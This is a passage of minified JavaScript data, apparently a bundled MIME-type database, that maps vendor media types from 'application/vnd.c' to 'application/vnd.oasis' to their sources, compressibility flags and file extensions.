pack.isdn-ext":{source:"iana"},"application/vnd.citationstyles.style+xml":{source:"iana",compressible:!0,extensions:["csl"]},"application/vnd.claymore":{source:"iana",extensions:["cla"]},"application/vnd.cloanto.rp9":{source:"iana",extensions:["rp9"]},"application/vnd.clonk.c4group":{source:"iana",extensions:["c4g","c4d","c4f","c4p","c4u"]},"application/vnd.cluetrust.cartomobile-config":{source:"iana",extensions:["c11amc"]},"application/vnd.cluetrust.cartomobile-config-pkg":{source:"iana",extensions:["c11amz"]},"application/vnd.coffeescript":{source:"iana"},"application/vnd.collabio.xodocuments.document":{source:"iana"},"application/vnd.collabio.xodocuments.document-template":{source:"iana"},"application/vnd.collabio.xodocuments.presentation":{source:"iana"},"application/vnd.collabio.xodocuments.presentation-template":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet":{source:"iana"},"application/vnd.collabio.xodocuments.spreadsheet-template":{source:"iana"},"application/vnd.collection+json":{source:"iana",compressible:!0},"application/vnd.collection.doc+json":{source:"iana",compressible:!0},"application/vnd.collection.next+json":{source:"iana",compressible:!0},"application/vnd.comicbook+zip":{source:"iana",compressible:!1},"application/vnd.comicbook-rar":{source:"iana"},"application/vnd.commerce-battelle":{source:"iana"},"application/vnd.commonspace":{source:"iana",extensions:["csp"]},"application/vnd.contact.cmsg":{source:"iana",extensions:["cdbcmsg"]},"application/vnd.coreos.ignition+json":{source:"iana",compressible:!0},"application/vnd.cosmocaller":{source:"iana",extensions:["cmc"]},"application/vnd.crick.clicker":{source:"iana",extensions:["clkx"]},"application/vnd.crick.clicker.keyboard":{source:"iana",extensions:["clkk"]},"application/vnd.crick.clicker.palette":{source:"iana",extensions:["clkp"]},"application/vnd.crick.clicker.template":{source:"iana",extensions:["clkt"]},"application/vnd.crick.clicker.wordbank":{source:"iana",extensions:["clkw"]},"application/vnd.criticaltools.wbs+xml":{source:"iana",compressible:!0,extensions:["wbs"]},"application/vnd.cryptii.pipe+json":{source:"iana",compressible:!0},"application/vnd.crypto-shade-file":{source:"iana"},"application/vnd.cryptomator.encrypted":{source:"iana"},"application/vnd.cryptomator.vault":{source:"iana"},"application/vnd.ctc-posml":{source:"iana",extensions:["pml"]},"application/vnd.ctct.ws+xml":{source:"iana",compressible:!0},"application/vnd.cups-pdf":{source:"iana"},"application/vnd.cups-postscript":{source:"iana"},"application/vnd.cups-ppd":{source:"iana",extensions:["ppd"]},"application/vnd.cups-raster":{source:"iana"},"application/vnd.cups-raw":{source:"iana"},"application/vnd.curl":{source:"iana"},"application/vnd.curl.car":{source:"apache",extensions:["car"]},"application/vnd.curl.pcurl":{source:"apache",extensions:["pcurl"]},"application/vnd.cyan.dean.root+xml":{source:"iana",compressible:!0},"application/vnd.cybank":{source:"iana"},"application/vnd.cyclonedx+json":{source:"iana",compressible:!0},"application/vnd.cyclonedx+xml":{source:"iana",compressible:!0},"application/vnd.d2l.coursepackage1p0+zip":{source:"iana",compressible:!1},"application/vnd.d3m-dataset":{source:"iana"},"application/vnd.d3m-problem":{source:"iana"},"application/vnd.dart":{source:"iana",compressible:!0,extensions:["dart"]},"application/vnd.data-vision.rdz":{source:"iana",extensions:["rdz"]},"application/vnd.datapackage+json":{source:"iana",compressible:!0},"application/vnd.dataresource+json":{source:"iana",compressible:!0},"application/vnd.dbf":{source:"iana",extensions:["dbf"]},"application/vnd.debian.binary-package":{source:"iana"},"application/vnd.dece.data":{source:"iana",extensions:["uvf","uvvf","uvd","uvvd"]},"application/vnd.dece.ttml+xml":{source:"iana",compressible:!0,extensions:["uvt","uvvt"]},"application/vnd.dece.unspecified":{source:"iana",extensions:["uvx","uvvx"]},"application/vnd.dece.zip":{source:"iana",extensions:["uvz","uvvz"]},"application/vnd.denovo.fcselayout-link":{source:"iana",extensions:["fe_launch"]},"application/vnd.desmume.movie":{source:"iana"},"application/vnd.dir-bi.plate-dl-nosuffix":{source:"iana"},"application/vnd.dm.delegation+xml":{source:"iana",compressible:!0},"application/vnd.dna":{source:"iana",extensions:["dna"]},"application/vnd.document+json":{source:"iana",compressible:!0},"application/vnd.dolby.mlp":{source:"apache",extensions:["mlp"]},"application/vnd.dolby.mobile.1":{source:"iana"},"application/vnd.dolby.mobile.2":{source:"iana"},"application/vnd.doremir.scorecloud-binary-document":{source:"iana"},"application/vnd.dpgraph":{source:"iana",extensions:["dpg"]},"application/vnd.dreamfactory":{source:"iana",extensions:["dfac"]},"application/vnd.drive+json":{source:"iana",compressible:!0},"application/vnd.ds-keypoint":{source:"apache",extensions:["kpxx"]},"application/vnd.dtg.local":{source:"iana"},"application/vnd.dtg.local.flash":{source:"iana"},"application/vnd.dtg.local.html":{source:"iana"},"application/vnd.dvb.ait":{source:"iana",extensions:["ait"]},"application/vnd.dvb.dvbisl+xml":{source:"iana",compressible:!0},"application/vnd.dvb.dvbj":{source:"iana"},"application/vnd.dvb.esgcontainer":{source:"iana"},"application/vnd.dvb.ipdcdftnotifaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess":{source:"iana"},"application/vnd.dvb.ipdcesgaccess2":{source:"iana"},"application/vnd.dvb.ipdcesgpdd":{source:"iana"},"application/vnd.dvb.ipdcroaming":{source:"iana"},"application/vnd.dvb.iptv.alfec-base":{source:"iana"},"application/vnd.dvb.iptv.alfec-enhancement":{source:"iana"},"application/vnd.dvb.notif-aggregate-root+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-container+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-generic+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-msglist+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-request+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-ia-registration-response+xml":{source:"iana",compressible:!0},"application/vnd.dvb.notif-init+xml":{source:"iana",compressible:!0},"application/vnd.dvb.pfr":{source:"iana"},"application/vnd.dvb.service":{source:"iana",extensions:["svc"]},"application/vnd.dxr":{source:"iana"},"application/vnd.dynageo":{source:"iana",extensions:["geo"]},"application/vnd.dzr":{source:"iana"},"application/vnd.easykaraoke.cdgdownload":{source:"iana"},"application/vnd.ecdis-update":{source:"iana"},"application/vnd.ecip.rlp":{source:"iana"},"application/vnd.eclipse.ditto+json":{source:"iana",compressible:!0},"application/vnd.ecowin.chart":{source:"iana",extensions:["mag"]},"application/vnd.ecowin.filerequest":{source:"iana"},"application/vnd.ecowin.fileupdate":{source:"iana"},"application/vnd.ecowin.series":{source:"iana"},"application/vnd.ecowin.seriesrequest":{source:"iana"},"application/vnd.ecowin.seriesupdate":{source:"iana"},"application/vnd.efi.img":{source:"iana"},"application/vnd.efi.iso":{source:"iana"},"application/vnd.emclient.accessrequest+xml":{source:"iana",compressible:!0},"application/vnd.enliven":{source:"iana",extensions:["nml"]},"application/vnd.enphase.envoy":{source:"iana"},"application/vnd.eprints.data+xml":{source:"iana",compressible:!0},"application/vnd.epson.esf":{source:"iana",extensions:["esf"]},"application/vnd.epson.msf":{source:"iana",extensions:["msf"]},"application/vnd.epson.quickanime":{source:"iana",extensions:["qam"]},"application/vnd.epson.salt":{source:"iana",extensions:["slt"]},"application/vnd.epson.ssf":{source:"iana",extensions:["ssf"]},"application/vnd.ericsson.quickcall":{source:"iana"},"application/vnd.espass-espass+zip":{source:"iana",compressible:!1},"application/vnd.eszigno3+xml":{source:"iana",compressible:!0,extensions:["es3","et3"]},"application/vnd.etsi.aoc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.asic-e+zip":{source:"iana",compressible:!1},"application/vnd.etsi.asic-s+zip":{source:"iana",compressible:!1},"application/vnd.etsi.cug+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvcommand+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-bc+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-cod+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsad-npvr+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvservice+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvsync+xml":{source:"iana",compressible:!0},"application/vnd.etsi.iptvueprofile+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mcid+xml":{source:"iana",compressible:!0},"application/vnd.etsi.mheg5":{source:"iana"},"application/vnd.etsi.overload-control-policy-dataset+xml":{source:"iana",compressible:!0},"application/vnd.etsi.pstn+xml":{source:"iana",compressible:!0},"application/vnd.etsi.sci+xml":{source:"iana",compressible:!0},"application/vnd.etsi.simservs+xml":{source:"iana",compressible:!0},"application/vnd.etsi.timestamp-token":{source:"iana"},"application/vnd.etsi.tsl+xml":{source:"iana",compressible:!0},"application/vnd.etsi.tsl.der":{source:"iana"},"application/vnd.eu.kasparian.car+json":{source:"iana",compressible:!0},"application/vnd.eudora.data":{source:"iana"},"application/vnd.evolv.ecig.profile":{source:"iana"},"application/vnd.evolv.ecig.settings":{source:"iana"},"application/vnd.evolv.ecig.theme":{source:"iana"},"application/vnd.exstream-empower+zip":{source:"iana",compressible:!1},"application/vnd.exstream-package":{source:"iana"},"application/vnd.ezpix-album":{source:"iana",extensions:["ez2"]},"application/vnd.ezpix-package":{source:"iana",extensions:["ez3"]},"application/vnd.f-secure.mobile":{source:"iana"},"application/vnd.familysearch.gedcom+zip":{source:"iana",compressible:!1},"application/vnd.fastcopy-disk-image":{source:"iana"},"application/vnd.fdf":{source:"iana",extensions:["fdf"]},"application/vnd.fdsn.mseed":{source:"iana",extensions:["mseed"]},"application/vnd.fdsn.seed":{source:"iana",extensions:["seed","dataless"]},"application/vnd.ffsns":{source:"iana"},"application/vnd.ficlab.flb+zip":{source:"iana",compressible:!1},"application/vnd.filmit.zfc":{source:"iana"},"application/vnd.fints":{source:"iana"},"application/vnd.firemonkeys.cloudcell":{source:"iana"},"application/vnd.flographit":{source:"iana",extensions:["gph"]},"application/vnd.fluxtime.clip":{source:"iana",extensions:["ftc"]},"application/vnd.font-fontforge-sfd":{source:"iana"},"application/vnd.framemaker":{source:"iana",extensions:["fm","frame","maker","book"]},"application/vnd.frogans.fnc":{source:"iana",extensions:["fnc"]},"application/vnd.frogans.ltf":{source:"iana",extensions:["ltf"]},"application/vnd.fsc.weblaunch":{source:"iana",extensions:["fsc"]},"application/vnd.fujifilm.fb.docuworks":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.binder":{source:"iana"},"application/vnd.fujifilm.fb.docuworks.container":{source:"iana"},"application/vnd.fujifilm.fb.jfi+xml":{source:"iana",compressible:!0},"application/vnd.fujitsu.oasys":{source:"iana",extensions:["oas"]},"application/vnd.fujitsu.oasys2":{source:"iana",extensions:["oa2"]},"application/vnd.fujitsu.oasys3":{source:"iana",extensions:["oa3"]},"application/vnd.fujitsu.oasysgp":{source:"iana",extensions:["fg5"]},"application/vnd.fujitsu.oasysprs":{source:"iana",extensions:["bh2"]},"application/vnd.fujixerox.art-ex":{source:"iana"},"application/vnd.fujixerox.art4":{source:"iana"},"application/vnd.fujixerox.ddd":{source:"iana",extensions:["ddd"]},"application/vnd.fujixerox.docuworks":{source:"iana",extensions:["xdw"]},"application/vnd.fujixerox.docuworks.binder":{source:"iana",extensions:["xbd"]},"application/vnd.fujixerox.docuworks.container":{source:"iana"},"application/vnd.fujixerox.hbpl":{source:"iana"},"application/vnd.fut-misnet":{source:"iana"},"application/vnd.futoin+cbor":{source:"iana"},"application/vnd.futoin+json":{source:"iana",compressible:!0},"application/vnd.fuzzysheet":{source:"iana",extensions:["fzs"]},"application/vnd.genomatix.tuxedo":{source:"iana",extensions:["txd"]},"application/vnd.gentics.grd+json":{source:"iana",compressible:!0},"application/vnd.geo+json":{source:"iana",compressible:!0},"application/vnd.geocube+xml":{source:"iana",compressible:!0},"application/vnd.geogebra.file":{source:"iana",extensions:["ggb"]},"application/vnd.geogebra.slides":{source:"iana"},"application/vnd.geogebra.tool":{source:"iana",extensions:["ggt"]},"application/vnd.geometry-explorer":{source:"iana",extensions:["gex","gre"]},"application/vnd.geonext":{source:"iana",extensions:["gxt"]},"application/vnd.geoplan":{source:"iana",extensions:["g2w"]},"application/vnd.geospace":{source:"iana",extensions:["g3w"]},"application/vnd.gerber":{source:"iana"},"application/vnd.globalplatform.card-content-mgt":{source:"iana"},"application/vnd.globalplatform.card-content-mgt-response":{source:"iana"},"application/vnd.gmx":{source:"iana",extensions:["gmx"]},"application/vnd.google-apps.document":{compressible:!1,extensions:["gdoc"]},"application/vnd.google-apps.presentation":{compressible:!1,extensions:["gslides"]},"application/vnd.google-apps.spreadsheet":{compressible:!1,extensions:["gsheet"]},"application/vnd.google-earth.kml+xml":{source:"iana",compressible:!0,extensions:["kml"]},"application/vnd.google-earth.kmz":{source:"iana",compressible:!1,extensions:["kmz"]},"application/vnd.gov.sk.e-form+xml":{source:"iana",compressible:!0},"application/vnd.gov.sk.e-form+zip":{source:"iana",compressible:!1},"application/vnd.gov.sk.xmldatacontainer+xml":{source:"iana",compressible:!0},"application/vnd.grafeq":{source:"iana",extensions:["gqf","gqs"]},"application/vnd.gridmp":{source:"iana"},"application/vnd.groove-account":{source:"iana",extensions:["gac"]},"application/vnd.groove-help":{source:"iana",extensions:["ghf"]},"application/vnd.groove-identity-message":{source:"iana",extensions:["gim"]},"application/vnd.groove-injector":{source:"iana",extensions:["grv"]},"application/vnd.groove-tool-message":{source:"iana",extensions:["gtm"]},"application/vnd.groove-tool-template":{source:"iana",extensions:["tpl"]},"application/vnd.groove-vcard":{source:"iana",extensions:["vcg"]},"application/vnd.hal+json":{source:"iana",compressible:!0},"application/vnd.hal+xml":{source:"iana",compressible:!0,extensions:["hal"]},"application/vnd.handheld-entertainment+xml":{source:"iana",compressible:!0,extensions:["zmm"]},"application/vnd.hbci":{source:"iana",extensions:["hbci"]},"application/vnd.hc+json":{source:"iana",compressible:!0},"application/vnd.hcl-bireports":{source:"iana"},"application/vnd.hdt":{source:"iana"},"application/vnd.heroku+json":{source:"iana",compressible:!0},"application/vnd.hhe.lesson-player":{source:"iana",extensions:["les"]},"application/vnd.hl7cda+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hl7v2+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.hp-hpgl":{source:"iana",extensions:["hpgl"]},"application/vnd.hp-hpid":{source:"iana",extensions:["hpid"]},"application/vnd.hp-hps":{source:"iana",extensions:["hps"]},"application/vnd.hp-jlyt":{source:"iana",extensions:["jlt"]},"application/vnd.hp-pcl":{source:"iana",extensions:["pcl"]},"application/vnd.hp-pclxl":{source:"iana",extensions:["pclxl"]},"application/vnd.httphone":{source:"iana"},"application/vnd.hydrostatix.sof-data":{source:"iana",extensions:["sfd-hdstx"]},"application/vnd.hyper+json":{source:"iana",compressible:!0},"application/vnd.hyper-item+json":{source:"iana",compressible:!0},"application/vnd.hyperdrive+json":{source:"iana",compressible:!0},"application/vnd.hzn-3d-crossword":{source:"iana"},"application/vnd.ibm.afplinedata":{source:"iana"},"application/vnd.ibm.electronic-media":{source:"iana"},"application/vnd.ibm.minipay":{source:"iana",extensions:["mpy"]},"application/vnd.ibm.modcap":{source:"iana",extensions:["afp","listafp","list3820"]},"application/vnd.ibm.rights-management":{source:"iana",extensions:["irm"]},"application/vnd.ibm.secure-container":{source:"iana",extensions:["sc"]},"application/vnd.iccprofile":{source:"iana",extensions:["icc","icm"]},"application/vnd.ieee.1905":{source:"iana"},"application/vnd.igloader":{source:"iana",extensions:["igl"]},"application/vnd.imagemeter.folder+zip":{source:"iana",compressible:!1},"application/vnd.imagemeter.image+zip":{source:"iana",compressible:!1},"application/vnd.immervision-ivp":{source:"iana",extensions:["ivp"]},"application/vnd.immervision-ivu":{source:"iana",extensions:["ivu"]},"application/vnd.ims.imsccv1p1":{source:"iana"},"application/vnd.ims.imsccv1p2":{source:"iana"},"application/vnd.ims.imsccv1p3":{source:"iana"},"application/vnd.ims.lis.v2.result+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolconsumerprofile+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolproxy.id+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings+json":{source:"iana",compressible:!0},"application/vnd.ims.lti.v2.toolsettings.simple+json":{source:"iana",compressible:!0},"application/vnd.informedcontrol.rms+xml":{source:"iana",compressible:!0},"application/vnd.informix-visionary":{source:"iana"},"application/vnd.infotech.project":{source:"iana"},"application/vnd.infotech.project+xml":{source:"iana",compressible:!0},"application/vnd.innopath.wamp.notification":{source:"iana"},"application/vnd.insors.igm":{source:"iana",extensions:["igm"]},"application/vnd.intercon.formnet":{source:"iana",extensions:["xpw","xpx"]},"application/vnd.intergeo":{source:"iana",extensions:["i2g"]},"application/vnd.intertrust.digibox":{source:"iana"},"application/vnd.intertrust.nncp":{source:"iana"},"application/vnd.intu.qbo":{source:"iana",extensions:["qbo"]},"application/vnd.intu.qfx":{source:"iana",extensions:["qfx"]},"application/vnd.iptc.g2.catalogitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.conceptitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.knowledgeitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.newsmessage+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.packageitem+xml":{source:"iana",compressible:!0},"application/vnd.iptc.g2.planningitem+xml":{source:"iana",compressible:!0},"application/vnd.ipunplugged.rcprofile":{source:"iana",extensions:["rcprofile"]},"application/vnd.irepository.package+xml":{source:"iana",compressible:!0,extensions:["irp"]},"application/vnd.is-xpr":{source:"iana",extensions:["xpr"]},"application/vnd.isac.fcs":{source:"iana",extensions:["fcs"]},"application/vnd.iso11783-10+zip":{source:"iana",compressible:!1},"application/vnd.jam":{source:"iana",extensions:["jam"]},"application/vnd.japannet-directory-service":{source:"iana"},"application/vnd.japannet-jpnstore-wakeup":{source:"iana"},"application/vnd.japannet-payment-wakeup":{source:"iana"},"application/vnd.japannet-registration":{source:"iana"},"application/vnd.japannet-registration-wakeup":{source:"iana"},"application/vnd.japannet-setstore-wakeup":{source:"iana"},"application/vnd.japannet-verification":{source:"iana"},"application/vnd.japannet-verification-wakeup":{source:"iana"},"application/vnd.jcp.javame.midlet-rms":{source:"iana",extensions:["rms"]},"application/vnd.jisp":{source:"iana",extensions:["jisp"]},"application/vnd.joost.joda-archive":{source:"iana",extensions:["joda"]},"application/vnd.jsk.isdn-ngn":{source:"iana"},"application/vnd.kahootz":{source:"iana",extensions:["ktz","ktr"]},"application/vnd.kde.karbon":{source:"iana",extensions:["karbon"]},"application/vnd.kde.kchart":{source:"iana",extensions:["chrt"]},"application/vnd.kde.kformula":{source:"iana",extensions:["kfo"]},"application/vnd.kde.kivio":{source:"iana",extensions:["flw"]},"application/vnd.kde.kontour":{source:"iana",extensions:["kon"]},"application/vnd.kde.kpresenter":{source:"iana",extensions:["kpr","kpt"]},"application/vnd.kde.kspread":{source:"iana",extensions:["ksp"]},"application/vnd.kde.kword":{source:"iana",extensions:["kwd","kwt"]},"application/vnd.kenameaapp":{source:"iana",extensions:["htke"]},"application/vnd.kidspiration":{source:"iana",extensions:["kia"]},"application/vnd.kinar":{source:"iana",extensions:["kne","knp"]},"application/vnd.koan":{source:"iana",extensions:["skp","skd","skt","skm"]},"application/vnd.kodak-descriptor":{source:"iana",extensions:["sse"]},"application/vnd.las":{source:"iana"},"application/vnd.las.las+json":{source:"iana",compressible:!0},"application/vnd.las.las+xml":{source:"iana",compressible:!0,extensions:["lasxml"]},"application/vnd.laszip":{source:"iana"},"application/vnd.leap+json":{source:"iana",compressible:!0},"application/vnd.liberty-request+xml":{source:"iana",compressible:!0},"application/vnd.llamagraphics.life-balance.desktop":{source:"iana",extensions:["lbd"]},"application/vnd.llamagraphics.life-balance.exchange+xml":{source:"iana",compressible:!0,extensions:["lbe"]},"application/vnd.logipipe.circuit+zip":{source:"iana",compressible:!1},"application/vnd.loom":{source:"iana"},"application/vnd.lotus-1-2-3":{source:"iana",extensions:["123"]},"application/vnd.lotus-approach":{source:"iana",extensions:["apr"]},"application/vnd.lotus-freelance":{source:"iana",extensions:["pre"]},"application/vnd.lotus-notes":{source:"iana",extensions:["nsf"]},"application/vnd.lotus-organizer":{source:"iana",extensions:["org"]},"application/vnd.lotus-screencam":{source:"iana",extensions:["scm"]},"application/vnd.lotus-wordpro":{source:"iana",extensions:["lwp"]},"application/vnd.macports.portpkg":{source:"iana",extensions:["portpkg"]},"application/vnd.mapbox-vector-tile":{source:"iana",extensions:["mvt"]},"application/vnd.marlin.drm.actiontoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.conftoken+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.license+xml":{source:"iana",compressible:!0},"application/vnd.marlin.drm.mdcf":{source:"iana"},"application/vnd.mason+json":{source:"iana",compressible:!0},"application/vnd.maxar.archive.3tz+zip":{source:"iana",compressible:!1},"application/vnd.maxmind.maxmind-db":{source:"iana"},"application/vnd.mcd":{source:"iana",extensions:["mcd"]},"application/vnd.medcalcdata":{source:"iana",extensions:["mc1"]},"application/vnd.mediastation.cdkey":{source:"iana",extensions:["cdkey"]},"application/vnd.meridian-slingshot":{source:"iana"},"application/vnd.mfer":{source:"iana",extensions:["mwf"]},"application/vnd.mfmp":{source:"iana",extensions:["mfm"]},"application/vnd.micro+json":{source:"iana",compressible:!0},"application/vnd.micrografx.flo":{source:"iana",extensions:["flo"]},"application/vnd.micrografx.igx":{source:"iana",extensions:["igx"]},"application/vnd.microsoft.portable-executable":{source:"iana"},"application/vnd.microsoft.windows.thumbnail-cache":{source:"iana"},"application/vnd.miele+json":{source:"iana",compressible:!0},"application/vnd.mif":{source:"iana",extensions:["mif"]},"application/vnd.minisoft-hp3000-save":{source:"iana"},"application/vnd.mitsubishi.misty-guard.trustweb":{source:"iana"},"application/vnd.mobius.daf":{source:"iana",extensions:["daf"]},"application/vnd.mobius.dis":{source:"iana",extensions:["dis"]},"application/vnd.mobius.mbk":{source:"iana",extensions:["mbk"]},"application/vnd.mobius.mqy":{source:"iana",extensions:["mqy"]},"application/vnd.mobius.msl":{source:"iana",extensions:["msl"]},"application/vnd.mobius.plc":{source:"iana",extensions:["plc"]},"application/vnd.mobius.txf":{source:"iana",extensions:["txf"]},"application/vnd.mophun.application":{source:"iana",extensions:["mpn"]},"application/vnd.mophun.certificate":{source:"iana",extensions:["mpc"]},"application/vnd.motorola.flexsuite":{source:"iana"},"application/vnd.motorola.flexsuite.adsi":{source:"iana"},"application/vnd.motorola.flexsuite.fis":{source:"iana"},"application/vnd.motorola.flexsuite.gotap":{source:"iana"},"application/vnd.motorola.flexsuite.kmr":{source:"iana"},"application/vnd.motorola.flexsuite.ttc":{source:"iana"},"application/vnd.motorola.flexsuite.wem":{source:"iana"},"application/vnd.motorola.iprm":{source:"iana"},"application/vnd.mozilla.xul+xml":{source:"iana",compressible:!0,extensions:["xul"]},"application/vnd.ms-3mfdocument":{source:"iana"},"application/vnd.ms-artgalry":{source:"iana",extensions:["cil"]},"application/vnd.ms-asf":{source:"iana"},"application/vnd.ms-cab-compressed":{source:"iana",extensions:["cab"]},"application/vnd.ms-color.iccprofile":{source:"apache"},"application/vnd.ms-excel":{source:"iana",compressible:!1,extensions:["xls","xlm","xla","xlc","xlt","xlw"]},"application/vnd.ms-excel.addin.macroenabled.12":{source:"iana",extensions:["xlam"]},"application/vnd.ms-excel.sheet.binary.macroenabled.12":{source:"iana",extensions:["xlsb"]},"application/vnd.ms-excel.sheet.macroenabled.12":{source:"iana",extensions:["xlsm"]},"application/vnd.ms-excel.template.macroenabled.12":{source:"iana",extensions:["xltm"]},"application/vnd.ms-fontobject":{source:"iana",compressible:!0,extensions:["eot"]},"application/vnd.ms-htmlhelp":{source:"iana",extensions:["chm"]},"application/vnd.ms-ims":{source:"iana",extensions:["ims"]},"application/vnd.ms-lrm":{source:"iana",extensions:["lrm"]},"application/vnd.ms-office.activex+xml":{source:"iana",compressible:!0},"application/vnd.ms-officetheme":{source:"iana",extensions:["thmx"]},"application/vnd.ms-opentype":{source:"apache",compressible:!0},"application/vnd.ms-outlook":{compressible:!1,extensions:["msg"]},"application/vnd.ms-package.obfuscated-opentype":{source:"apache"},"application/vnd.ms-pki.seccat":{source:"apache",extensions:["cat"]},"application/vnd.ms-pki.stl":{source:"apache",extensions:["stl"]},"application/vnd.ms-playready.initiator+xml":{source:"iana",compressible:!0},"application/vnd.ms-powerpoint":{source:"iana",compressible:!1,extensions:["ppt","pps","pot"]},"application/vnd.ms-powerpoint.addin.macroenabled.12":{source:"iana",extensions:["ppam"]},"application/vnd.ms-powerpoint.presentation.macroenabled.12":{source:"iana",extensions:["pptm"]},"application/vnd.ms-powerpoint.slide.macroenabled.12":{source:"iana",extensions:["sldm"]},"application/vnd.ms-powerpoint.slideshow.macroenabled.12":{source:"iana",extensions:["ppsm"]},"application/vnd.ms-powerpoint.template.macroenabled.12":{source:"iana",extensions:["potm"]},"application/vnd.ms-printdevicecapabilities+xml":{source:"iana",compressible:!0},"application/vnd.ms-printing.printticket+xml":{source:"apache",compressible:!0},"application/vnd.ms-printschematicket+xml":{source:"iana",compressible:!0},"application/vnd.ms-project":{source:"iana",extensions:["mpp","mpt"]},"application/vnd.ms-tnef":{source:"iana"},"application/vnd.ms-windows.devicepairing":{source:"iana"},"application/vnd.ms-windows.nwprinting.oob":{source:"iana"},"application/vnd.ms-windows.printerpairing":{source:"iana"},"application/vnd.ms-windows.wsd.oob":{source:"iana"},"application/vnd.ms-wmdrm.lic-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.lic-resp":{source:"iana"},"application/vnd.ms-wmdrm.meter-chlg-req":{source:"iana"},"application/vnd.ms-wmdrm.meter-resp":{source:"iana"},"application/vnd.ms-word.document.macroenabled.12":{source:"iana",extensions:["docm"]},"application/vnd.ms-word.template.macroenabled.12":{source:"iana",extensions:["dotm"]},"application/vnd.ms-works":{source:"iana",extensions:["wps","wks","wcm","wdb"]},"application/vnd.ms-wpl":{source:"iana",extensions:["wpl"]},"application/vnd.ms-xpsdocument":{source:"iana",compressible:!1,extensions:["xps"]},"application/vnd.msa-disk-image":{source:"iana"},"application/vnd.mseq":{source:"iana",extensions:["mseq"]},"application/vnd.msign":{source:"iana"},"application/vnd.multiad.creator":{source:"iana"},"application/vnd.multiad.creator.cif":{source:"iana"},"application/vnd.music-niff":{source:"iana"},"application/vnd.musician":{source:"iana",extensions:["mus"]},"application/vnd.muvee.style":{source:"iana",extensions:["msty"]},"application/vnd.mynfc":{source:"iana",extensions:["taglet"]},"application/vnd.nacamar.ybrid+json":{source:"iana",compressible:!0},"application/vnd.ncd.control":{source:"iana"},"application/vnd.ncd.reference":{source:"iana"},"application/vnd.nearst.inv+json":{source:"iana",compressible:!0},"application/vnd.nebumind.line":{source:"iana"},"application/vnd.nervana":{source:"iana"},"application/vnd.netfpx":{source:"iana"},"application/vnd.neurolanguage.nlu":{source:"iana",extensions:["nlu"]},"application/vnd.nimn":{source:"iana"},"application/vnd.nintendo.nitro.rom":{source:"iana"},"application/vnd.nintendo.snes.rom":{source:"iana"},"application/vnd.nitf":{source:"iana",extensions:["ntf","nitf"]},"application/vnd.noblenet-directory":{source:"iana",extensions:["nnd"]},"application/vnd.noblenet-sealer":{source:"iana",extensions:["nns"]},"application/vnd.noblenet-web":{source:"iana",extensions:["nnw"]},"application/vnd.nokia.catalogs":{source:"iana"},"application/vnd.nokia.conml+wbxml":{source:"iana"},"application/vnd.nokia.conml+xml":{source:"iana",compressible:!0},"application/vnd.nokia.iptv.config+xml":{source:"iana",compressible:!0},"application/vnd.nokia.isds-radio-presets":{source:"iana"},"application/vnd.nokia.landmark+wbxml":{source:"iana"},"application/vnd.nokia.landmark+xml":{source:"iana",compressible:!0},"application/vnd.nokia.landmarkcollection+xml":{source:"iana",compressible:!0},"application/vnd.nokia.n-gage.ac+xml":{source:"iana",compressible:!0,extensions:["ac"]},"application/vnd.nokia.n-gage.data":{source:"iana",extensions:["ngdat"]},"application/vnd.nokia.n-gage.symbian.install":{source:"iana",extensions:["n-gage"]},"application/vnd.nokia.ncd":{source:"iana"},"application/vnd.nokia.pcd+wbxml":{source:"iana"},"application/vnd.nokia.pcd+xml":{source:"iana",compressible:!0},"application/vnd.nokia.radio-preset":{source:"iana",extensions:["rpst"]},"application/vnd.nokia.radio-presets":{source:"iana",extensions:["rpss"]},"application/vnd.novadigm.edm":{source:"iana",extensions:["edm"]},"application/vnd.novadigm.edx":{source:"iana",extensions:["edx"]},"application/vnd.novadigm.ext":{source:"iana",extensions:["ext"]},"application/vnd.ntt-local.content-share":{source:"iana"},"application/vnd.ntt-local.file-transfer":{source:"iana"},"application/vnd.ntt-local.ogw_remote-access":{source:"iana"},"application/vnd.ntt-local.sip-ta_remote":{source:"iana"},"application/vnd.ntt-local.sip-ta_tcp_stream":{source:"iana"},"application/vnd.oasis.opendocument.chart":{source:"iana",extensions:["odc"]},"application/vnd.oasis.opendocument.chart-template":{source:"iana",extensions:["otc"]},"application/vnd.oasis.opendocument.database":{source:"iana",extensions:["odb"]},"application/vnd.oasis.opendocument.formula":{source:"iana",extensions:["odf"]},"application/vnd.oasis.opendocument.formula-template":{source:"iana",extensions:["odft"]},"application/vnd.oasis.opendocument.graphics":{source:"iana",compressible:!1,extensions:["odg"]},"application/vnd.oasis.opendocument.graphics-template":{source:"iana",extensions:["otg"]},"application/vnd.oasis.opendocument.image":{source:"iana",extensions:["odi"]},"application/